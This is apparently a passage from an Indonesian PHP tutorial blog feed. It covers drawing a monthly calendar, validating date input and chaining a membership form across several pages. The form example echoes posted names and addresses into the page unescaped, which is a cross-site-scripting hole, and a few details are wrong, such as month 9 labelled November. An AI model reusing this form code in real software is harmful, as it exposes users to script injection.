	$day_counter = 0;
	$dates_array = array();
	/* row for week one */
	$calendar.= '<tr class="calendar-row">';
	/* print "blank" days until the first of the current week */
	for($x = 0; $x < $running_day; $x++):
		$calendar.= '<td class="calendar-day-np"> </td>';
		$days_in_this_week++;
	endfor;

	/* keep going with days.... */
	for($list_day = 1; $list_day <= $days_in_month; $list_day++):
		$calendar.= '<td class="calendar-day">';
			/* add in the day number */
			$calendar.= '<div class="day-number">'.$list_day.'</div>';

			/** QUERY THE DATABASE FOR AN ENTRY FOR THIS DAY !!  IF MATCHES FOUND, PRINT THEM !! **/
			$calendar.= str_repeat('<p> </p>',2);
			
		$calendar.= '</td>';
		if($running_day == 6):
			$calendar.= '</tr>';
			if(($day_counter+1) != $days_in_month):
				$calendar.= '<tr class="calendar-row">';
			endif;
			$running_day = -1;
			$days_in_this_week = 0;
		endif;
		$days_in_this_week++; $running_day++; $day_counter++;
	endfor;

	/* finish the rest of the days in the week */
	if($days_in_this_week < 8):
		for($x = 1; $x <= (8 - $days_in_this_week); $x++):
			$calendar.= '<td class="calendar-day-np"> </td>';
		endfor;
	endif;

	/* final row */
	$calendar.= '</tr>';

	/* end the table */
	$calendar.= '</table>';
	
	/* all done, return result */
	return $calendar;
}

Setelah function menampilkan sudah anda tuliskan, tinggal memanggil function tersebut dengan cara :

echo '<h2>Nopember 2014</h2>';
echo draw_calendar(9,2014);

echo '<h2>Desember 2014</h2>';
echo draw_calendar(12,2014);

Pada script diatas, anda cukup memanggil fungsi draw_calendar dan menetapkan bulan dan tahun kalender yang anda buat.

Hasilnya :

Membuat kalender dengan php dan css

Anda juga bisa kembangkan kalender diatas untuk berbagai kondisi keperluan dengan mengubah beberapa baris function draw_calendar.

Silahkan lihat demo kalender dengan php disini. Jika anda ingin download contoh membuat kalender dengan php bisa diambil disini.

Sumber : https://davidwalsh.name/php-calendar

Semoga bermanfaat

Zainal Hakim

]]>
Thu, 14 Nov 2013 01:11:50 GMT
Memastikan benar salah input tanggal https://www.zainalhakim.web.id/posting/memastikan-benar-salah-input-tanggal.html https://www.zainalhakim.web.id/posting/memastikan-benar-salah-input-tanggal.html Jika anda membuat sebuah inputan untuk tanggal secara manual, kemungkinan terjadinya kesalahan dalam inputnya pasti ada. Untuk memastikan benar salah input tanggal tersebut anda bisa lakukan sebuah rutin pengecekan dengan php. Berikut ini kode program berupa function yang anda bisa gunakan untuk memastikan input tanggal tersebut benar.

function PeriksaFormatTanggal($date)
{
    //memastikan tangal yang diinput adalah angka dan simbol
    if (preg_match ("/^([0-9]{4})-([0-9]{2})-([0-9]{2})$/", $date, $segmen))
    {
        //cek apakah tanggal input valid
        if(checkdate($segmen[2],$segmen[3],$segmen[1]))
            return true;
        else
        return false;
    }
    else
        return false;
}

Cara menggunakan :

<?php
$tanggal=$_POST['tanggal'];
if(PeriksaFormatTanggal($tanggal))
{
  echo "Tanggal Benar";
}
else
{
  echo "Tanggal Salah";
}
?>

Semoga bermanfaat

Zainal Hakim

]]>
Thu, 14 Nov 2013 01:11:51 GMT
Membagi form dalam beberapa halaman https://www.zainalhakim.web.id/posting/membagi-form-dalam-beberapa-halaman.html https://www.zainalhakim.web.id/posting/membagi-form-dalam-beberapa-halaman.html Ada beberapa contoh kasus yang mengharuskan kita membagi form dalam beberapa halaman, agar proses input lebih mudah dan dapat memunculkan pilihan sesuai dengan inputan awal. Berikut ini saya akan berbagi trick bagaimana membuat beberapa form yang terpisah halaman bisa saling terhubung dalam sebuah proses.

Contoh kasus yang mengharuskan kita membagi form dalam beberapa halaman adalah pendataan dengan inputan yang cukup banyak. Misal data yang harus diinput lebih dari 20 atau 30 field input. Jika anda paksakan dimasukkan dalam satu halaman, maka kemungkinan penyusunan textbox maupun objek lainnya akan sangat sulit. Apalagi dengan keterbatasan layar yang mengakibatkan faktor keindahanya berkurang karena kepenuhan. Disamping itu kadang kala form yang memiliki inputan yang banyak dalam satu halaman akan sedikit menyulitkan bagi sebagian pengguna.

Contoh kasus lain, seperti inputan yang dilakukan secara bertahap dan bercabang. Proses inputan awal akan mempengaruhi form berikutnya yang mungkin saja berbeda. Misal anda membuat sistem survei yang terdiri dari serangkaian pertanyaan yang berbeda.

Saya akan contohkan yang sederhana pada kasus pendaftaran keanggotaan dengan skenario :

Form awal akan menampilkan nama, alamat dan pilihan jenis keanggotaan yang terdiri dari gratis dan berbayar. Setelah form awal dikirim dan jenis keanggotaan yang dipilih adalah gratis, maka akan memunculkan form isian nama teman yang direkomendasikan. Dan jika memilih jenis keanggotaan berbayar, maka akan memunculkan form jenis pembayaran dll.

Tahap terakhir dari proses tersebut akan kita simpan dalam database.

Membuat form tahap 1

Form utama tahap 1 akan saya rancang seperti berikut :

Membagi form dalam beberapa halaman 1

Dengan susunan html :

<form id="Form1" name="Form1" method="post" action="form2.php">
  <table width="500" border="0" align="center" cellpadding="10" cellspacing="0" bgcolor="#336600">
    <tr>
      <td height="50" colspan="3" align="center">PENDAFTARAN ANGGOTA</td>
    </tr>
    <tr>
      <td width="132">NAMA</td>
      <td width="3">:</td>
      <td width="305"><input name="nama" type="text" id="nama" size="30" maxlength="30" required="true" /></td>
    </tr>
    <tr>
      <td>ALAMAT</td>
      <td>:</td>
      <td><input name="alamat" type="text" id="alamat" size="50" maxlength="100" required="true" /></td>
    </tr>
    <tr>
      <td>KEANGGOTAAN</td>
      <td>:</td>
      <td><select name="jenis_anggota" id="jenis_anggota">
        <option value="1">Gratis</option>
        <option value="2">Berbayar</option>
      </select>      </td>
    </tr>
    <tr>
      <td height="50" colspan="3" align="center"><input type="submit" name="btnLanjut" id="btnLanjut" value="Lanjut" />
      <input type="reset" name="Reset" id="button" value="Ulangi" /></td>
    </tr>
  </table>
</form>

Form diatas, akan dikirim ke form lanjutan yaitu form 2 yang akan menampilkan form sesuai dengan pilihan jenis anggota.

Membuat form tahap 2

Form tahap kedua, akan melakukan proses lanjutan dengan mengambil nilai dari form tahap pertama. Jika pada form pertama jenis keanggotaan dipilih gratis maka akan dimanculkan form 2 dengan tampilan seperti berikut :

membuat form tahap 2

Dana jika dipilih berbayar maka akan tampil form seperti berikut :

membuat form tahap 2

Kode html form 2 :

<?php if($_POST['jenis_anggota']==1) { ?>
<form id="Form2" name="Form2" method="post" action="form3.php">
  <table width="500" border="0" align="center" cellpadding="10" cellspacing="0" bgcolor="#336600">
    <tr>
      <td height="50" colspan="3" align="center">REKOMENDASI TEMAN</td>
    </tr>
    <tr>
      <td>NAMA</td>
      <td>:</td>
      <td><?php echo $_POST['nama']?><input name="nama" type="hidden" id="nama" value="<?php echo $_POST['nama']?>" /></td>
    </tr>
    <tr>
      <td>ALAMAT</td>
      <td>:</td>
      <td><?php echo $_POST['alamat']?><input name="alamat" type="hidden" id="alamat" value="<?php echo $_POST['alamat']?>" /><input name="jenis_anggota" type="hidden" id="jenis_anggota" value="<?php echo $_POST['jenis_anggota']?>" /></td>
    </tr>
    <tr>
      <td width="132">EMAIL 1</td>
      <td width="3">:</td>
      <td width="305"><input name="email1" type="email" id="email1" size="30" maxlength="100" required="true" /></td>
    </tr>
    <tr>
      <td>EMAIL 2</td>
      <td>:</td>
      <td><input name="email2" type="email" id="email2" size="30" maxlength="100" required="true" /></td>
    </tr>
    <tr>
      <td height="50" colspan="3" align="center"><input type="submit" name="btnSimpan" id="btnSimpan" value="Simpan" />
      <input type="button" name="btnKembali" id="btnKembali" value="Kembali" onclick="javascript:window.back()" />
      <input type="reset" name="Reset" id="button" value="Ulangi" /></td>
    </tr>
  </table>
</form>
<?php } else { ?>
<form id="Form2" name="Form2" method="post" action="form3.php">
  <table width="500" border="0" align="center" cellpadding="10" cellspacing="0" bgcolor="#336600">
    <tr>
      <td height="50" colspan="3" align="center">JENIS PEMBAYARAN</td>
    </tr>
    <tr>
      <td>NAMA</td>
      <td>:</td>
      <td><?php echo $_POST['nama']?><input name="nama" type="hidden" id="nama" value="<?php echo $_POST['nama']?>" /></td>
    </tr>
    <tr>
      <td>ALAMAT</td>
      <td>:</td>
      <td><?php echo $_POST['alamat']?><input name="alamat" type="hidden" id="alamat" value="<?php echo $_POST['alamat']?>" />
      <input name="jenis_anggota" type="hidden" id="jenis_anggota" value="<?php echo $_POST['jenis_anggota']?>" /></td>
    </tr>
    <tr>
      <td width="132">NAMA BANK</td>
      <td width="3">:</td>
      <td width="305"><input name="nama_bank" type="text" id="nama_bank" size="30" maxlength="30" required="true" /></td>
    </tr>
    <tr>
      <td>PEMILIK</td>
      <td>:</td>
      <td><input name="nama_pemilik" type="text" id="nama_pemilik" size="30" maxlength="50" required="true" /></td>
    </tr>
    <tr>
      <td>NOMOR</td>
      <td>&nbsp;</td>
      <td><input name="nomor_rekening" type="text" id="nomor_rekening" size="30" maxlength="30" required="true" /></td>
    </tr>
    <tr>
      <td height="50" colspan="3" align="center"><input type="submit" name="btnSimpan" id="btnSimpan" value="Simpan" />
        <input type="button" name="btnKembali" id="btnKembali" value="Kembali" onclick="javascript:window.back()" />
      <input type="reset" name="Reset" id="button" value="Ulangi" /></td>
    </tr>
  </table>
</form>
<?php } ?>

Pada form ke 2, jika anda amati lebih detail pada perintah htmlnya, ada beberapa objek form yang tersembunyi type="hidden" yang ditanamkan dan akan dibawa ke tahap selanjutnya. Objek form yang tersembunyi tersebut diberi nilai sesuai dengan inputan awal dengan perintah $_POST['nama_objek']. Amati pada perintah :

<input name="nama" type="hidden" id="nama" value="<?php echo $_POST['nama']?>" />

Halaman tahap 3

Halaman ke 3 pada tahapan proses ini adalah bagian proses selanjutnya, bisa menyimpan atau melanjutkan form setelahnya.

Nilai yang dikirim ke halaman 3 tergantung inputan pada tahap dua. Jika tahap ke 2 yang muncul pembayaran maka nilai yang bisa diambil pada halaman 3 yaitu : nama, alamat, jenis_anggota, nama_bank, pemilik dan nomor. Dan jika yang muncul rekomendasi teman maka halaman 3 akan menerima nilai : nama, alamatm jenis_anggota, email1 dan email2.

Berikut ini file contoh membagi form dalam beberapa halaman

Semoga bermanfaat

Zainal Hakim

]]>
Mon, 30 Sep 2013 23:09:27 GMT
Contoh Kirim Email Laporan database MYSQL https://www.zainalhakim.web.id/download/contoh-kirim-email-laporan-database-mysql.html https://www.zainalhakim.web.id/download/contoh-kirim-email-laporan-database-mysql.html Berikut ini contoh php mengirim email laporan dari mysql dengan library PHPMailer. Tutorial lengkapnya anda bisa baca di : Mengririm email laporan database mysql dengan PHPMailer

]]>
Sun, 13 Apr 2014 03:04:16 GMT
Contoh Upload video dengan php https://www.zainalhakim.web.id/download/contoh-upload-video-dengan-php.html https://www.zainalhakim.web.id/download/contoh-upload-video-dengan-php.html Secara teknik dasar membuat form upload untuk video tidak berbeda dengan cara membuat form upload gambar yang sudah saya tulis pada tutorial sebelumnya. Hanya berbeda pada bagian proses menangani file yang diupload ke server.

]]>
Mon, 3 Feb 2014 12:02:51 GMT
Contoh Membuat Kalender dengan PHP https://www.zainalhakim.web.id/download/contoh-membuat-kalender-dengan-php.html https://www.zainalhakim.web.id/download/contoh-membuat-kalender-dengan-php.html Jika anda membuat aplikasi berbasis web, fitur yang yang sering diandalkan adalah tampilan dan kemudahan membuat laporan. Misal saja dalam aplikasi yang anda buat ada salah satu laporan yang menyajikanya berdasarkan tanggal. Untuk mempermudah dalam menginput tanggal anda bisa tampilkan kalender bulan. Berikut ini saya ingin berbagi tentang bagaimana membuat kalender bulan dengan php.

Baca tutorial lengkap membuat kalender dengan php.

]]>
Thu, 14 Nov 2013 01:11:05 GMT
Contoh Membagi form dalam beberapa halaman https://www.zainalhakim.web.id/download/contoh-membagi-form-dalam-beberapa-halaman.html https://www.zainalhakim.web.id/download/contoh-membagi-form-dalam-beberapa-halaman.html Ada beberapa contoh kasus yang mengharuskan kita membagi form dalam beberapa halaman, agar proses input lebih mudah dan dapat memunculkan pilihan sesuai dengan inputan awal. Berikut ini saya akan berbagi contoh bagaimana membuat beberapa form yang terpisah halaman bisa saling terhubung dalam sebuah proses.

Toturial lengkapnya : Membagi form dalam beberapa halaman

]]>
Tue, 1 Oct 2013 00:10:56 GMT
Contoh Membuat laporan dari php ke excel https://www.zainalhakim.web.id/download/contoh-membuat-laporan-dari-php-ke-excel.html https://www.zainalhakim.web.id/download/contoh-membuat-laporan-dari-php-ke-excel.html Dalam sebuah aplikasi berbasis web, biasanya kita diminta untuk menghasilkan laporan dalam berbagai format. Yang paling umum yaitu format html (langsung ditampilkan di browser), kemudian format pdf dan format excel. Semuanya bertujuan untuk memudahkan pengelolaan data lebih lanjut ke berbagai keperluan. Berikut ini saya akan berbagi tentang cara mudah membuat laporan dari php ke excel.

Silahkan baca toturial lengkapnya Membuat laporan dari php ke excel

]]>
Sat, 3 Aug 2013 21:08:40 GMT